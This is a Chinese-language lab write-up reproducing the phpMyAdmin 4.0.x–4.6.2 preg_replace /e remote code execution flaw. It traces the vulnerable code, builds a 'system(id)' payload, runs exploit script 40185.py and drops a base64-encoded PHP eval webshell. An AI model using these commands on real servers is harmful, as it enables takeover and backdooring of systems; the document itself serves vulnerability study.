0x00 漏洞描述
该漏洞在preg_replace函数中,因为用户提交的信息可以被拼接到第一个参数中。该函数时执行一个正则表达式并实现字符串的搜索和替换。
preg_replace ( string|array $pattern , string|array $replacement , string|array $subject , int $limit = -1 , int &$count = null ) : string|array|null
搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。
参数:
pattern
:要搜索的模式。可以是一个字符串或字符串数组;replacement
:用于替换的字符串或字符串数组;subject
:要进行搜索和替换的字符串或字符串数组;limit
:每个模式再每个subject上进行替换的最大次数;count
:如果指定,将会被填充为完成的替换次数。
该函数的返回值:当subject
为一数组的情况下返回一个数组,其余情况返回字符串。匹配成功则将替换后的subject被返回,不成功则返回没有改变的subject
,发生语法错误等,返回NULL。
在PHP5.4.7以前,preg_replace
的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞:
- 第一个参数需要 e 标识符号,有了它可以执行第二个参数的命令;
- 第一个参数需要再第三个参数中有匹配,不然echo会返回第三个参数而不执行命令。
0x01 影响范围
php < 5.4.7
4.0.10.16之前4.0.x版本
4.4.15.7之前4.4.x版本
4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)
0x02 漏洞成因
找到preg_replace()
函数的调用位置,发现存在漏洞的文件代码是TableSearch.class.php
:
function _getRegexReplaceRows($columnIndex, $find, $replaceWith, $charSet)
{
$column = $this->_columnNames[$columnIndex];
$sql_query = "SELECT "
. PMA_Util::backquote($column) . ","
. " 1," // to add an extra column that will have replaced value
. " COUNT(*)"
. " FROM " . PMA_Util::backquote($this->_db)
. "." . PMA_Util::backquote($this->_table)
. " WHERE " . PMA_Util::backquote($column)
. " RLIKE '" . PMA_Util::sqlAddSlashes($find) . "' COLLATE "
. $charSet . "_bin"; // here we
// change the collation of the 2nd operand to a case sensitive
// binary collation to make sure that the comparison is case sensitive
$sql_query .= " GROUP BY " . PMA_Util::backquote($column)
. " ORDER BY " . PMA_Util::backquote($column) . " ASC";
$result = $GLOBALS['dbi']->fetchResult($sql_query, 0);
if (is_array($result)) {
foreach ($result as $index=>$row) {
$result[$index][1] = preg_replace(
"/" . $find . "/",
$replaceWith,
$row[0]
);
}
}
return $result;
}
可以发现_getRegexReplaceRows()
函数中将find
参数传入,并将find
参数作为preg_replace()
函数的第一个参数使用;要构造payload就要将这三个参数溯源查看。
首先对_getRegexReplaceRows()
函数进行溯源,同一文件下_getRegexReplaceRows()
被getReplacePreview
这个方法调用,并且find
参数和replacement
参数都是经过该方法所传递,对这个函数进行溯源:
function getReplacePreview($columnIndex, $find, $replaceWith, $useRegex,
$charSet
) {
$column = $this->_columnNames[$columnIndex];
if ($useRegex) {
$result = $this->_getRegexReplaceRows(
$columnIndex, $find, $replaceWith, $charSet
);
}
发现getReplacePreview
在tbl_find_replace.php
中使用,并且find
与replaceWith
参数经POST方法进行传递。
if (isset($_POST['find'])) {
$preview = $table_search -> getReplacePreview(
$_POST['columnIndex'],
$_POST['find'],
$_POST['replaceWith'],
$_POST['useRegex'],
$connectionCharSet
);
$response->addJSON('preview', $preview);
exit;
}
至此参数与函数溯源完毕,接下来就是利用构造。
0x03 漏洞复现
这个漏洞目前没办法直接利用,因为有token限制,需要登陆抓到token,同时需要构造第三个参数保证和第一个参数匹配上,第一个参数可控而第三个参数是从数据库中取出的,所以只能提前插入到数据库中然后再取出来,columnIndex是取出的字段值可控,所以第三个参数也可控了,
需要登录且能够写入数据,先创建个表,然后表中插入个字段值为"0/e";
利用构造如下:
$find = '0/e';
$fromsqldata = '0/e';
echo preg_replace("/".$find."\0/", $_POST["replaceWith"], $fromsqldate);
// 组后之后类似于:
echo preg_replace('/0/e', 'system(id)', '0/e');
这里直接使用kali自带exp:
searchsploit phpmyadmin
通过exp执行id命令:
python3 40185.py -u root --pwd="root" http://xx.xx.xx.xx:8080/ -c 'system(id);'
代码执行成功
0x04 getshell
通过exp写入一句话木马:
python3 40185.py -u root --pwd="root" http://172.16.10.71:8080/ -c "file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pOz8+'));"
这里显示失败不用管,实际上木马已经写入,进入docker容器查看:
验证,访问木马地址:
使用菜刀成功连接:
参考链接:
https://www.jianshu.com/p/8e44cb1b5b5b(phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞)